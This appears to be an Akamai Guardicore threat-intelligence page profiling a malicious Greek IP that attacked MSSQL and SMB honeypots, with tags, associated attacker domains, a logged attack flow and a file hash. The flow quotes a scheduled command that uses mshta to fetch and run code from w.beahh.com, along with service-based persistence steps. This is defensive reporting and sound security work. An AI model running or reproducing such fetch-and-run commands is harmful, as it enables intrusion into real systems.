Cyber Threat Intelligence

Discover malicious IPs and domains with Akamai Guardicore Segmentation

IP Address: 79.129.107.213Malicious

IP Address: 79.129.107.213Malicious

This IP address attempted an attack on a machine in our threat sensors network

Threat Information

Role

Attacker, Scanner

Services Targeted

MSSQL SMB

Tags

Successful SMB Login Service Configuration MSSQL Driver Start Service Stop SMB Service Start Driver Creation Driver Configuration Service Creation File Operation By CMD Execute from Share SMB Share Connect Listening Scheduled Task Creation Access Suspicious Domain Download File System File Modification Executable File Modification CMD SMB Null Session Login Service Deletion DNS Query Access Share

Associated Attack Servers

info.ackng.com info.beahh.com ip.42.pl w.beahh.com

Basic Information

IP Address

79.129.107.213

Domain

-

ISP

OTEnet S.A.

Country

Greece

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Akamai Guardicore Segmentation

2020-02-22

Last seen in Akamai Guardicore Segmentation

2023-07-07

What is Akamai Guardicore Segmentation
Akamai Guardicore Segmentation is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Akamai Guardicore Segmentation generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

A user logged in using SMB with the following username: Administrator - Authentication policy: Correct Password

Successful SMB Login

C:\ALXYjnkU.exe was downloaded

Download File

alxyjnku.exe was executed from the remote share \\server-backup\c$

Execute from Share

c:\windows\system32\services.exe installed and started \\server-backup\c$\alxyjnku.exe as a service named xtWz under service group None

Service Creation Service Start

Service xtWz was stopped

Service Stop

c:\windows\system32\services.exe installed and started cmd as a service named iQAl under service group None

Service Creation Service Start

c:\windows\system32\services.exe installed and started cmd as a service named TJOF under service group None

Service Creation Service Start

A user logged in using SMB with the following username: Administrator - Authentication policy: Previously Approved User 4 times

Successful SMB Login

C:\xhIlVVhh.exe was downloaded

Download File

c:\windows\system32\services.exe installed and started system32\drivers\tcpip6.sys as a service named Tcpip6 under service group None

Service Creation Driver Start

c:\windows\system32\services.exe installed and started \\server-backup\c$\xhilvvhh.exe as a service named GETy under service group None

Service Creation Service Start

xhilvvhh.exe was executed from the remote share \\server-backup\c$

Execute from Share

System file C:\WINDOWS\security\Database\secedit.sdb was modified

System File Modification

c:\windows\system32\services.exe installed and started %systemroot%\system32\6to4svc.dll as a service named 6to4 under service group NetworkService

Service Creation Service Start

c:\windows\system32\services.exe installed and started system32\drivers\smb.sys as a service named Smb under service group None

Service Creation Driver Start

c:\windows\system32\services.exe installed system32\drivers\tunmp.sys as a service named tunmp under service group None

Service Creation

C:\VqzPBkQo.exe was downloaded

Download File

c:\windows\system32\services.exe installed and started \\server-backup\c$\vqzpbkqo.exe as a service named nPPK under service group None

Service Creation Service Start

vqzpbkqo.exe was executed from the remote share \\server-backup\c$

Execute from Share

Process netsvcs Service Group attempted to access suspicious domains: _LDAP._TCP

Access Suspicious Domain DNS Query

nrshcagp.exe was executed from the remote share \\server-backup\c$

Execute from Share

c:\windows\system32\services.exe installed and started \\server-backup\c$\nrshcagp.exe as a service named WJvc under service group None

Service Creation Service Start

Executable file \\SERVER-BACKUP\C$\VqzPBkQo.exe was modified

Executable File Modification

Process NetworkService Service Group started listening on ports: 65531, 65532 and 65533

Listening

Service WJvc was stopped

Service Stop

The command line C:\WINDOWS\system32\cmd.exe /c mshta http://w.beahh.com/page.html?pSERVER-BACKUP was scheduled to run by modifying C:\WINDOWS\Tasks\Autocheck.job

C:\pwCpulNG.exe was downloaded

Download File

The command line c:\windows\gAEneai.exe was scheduled to run by modifying C:\WINDOWS\Tasks\taXMV.job

c:\windows\system32\services.exe installed and started \\server-backup\c$\pwcpulng.exe as a service named rqbN under service group None

Service Creation Service Start

The command line c:\windows\temp\installed.exe was scheduled to run by modifying C:\WINDOWS\Tasks\Autoload.job

pwcpulng.exe was executed from the remote share \\server-backup\c$

Execute from Share

Process c:\windows\system32\mshta.exe attempted to access suspicious domains: w.beahh.com

Access Suspicious Domain DNS Query

Service rqbN was stopped

Service Stop

Service nPPK was stopped

Service Stop

Connection was closed due to timeout

Associated Files

C:\KqJHwovH.exe

SHA256: 3c2fe308c0a563e06263bbacf793bbe9b2259d795fcc36b953793a7e499e7f71

56320 bytes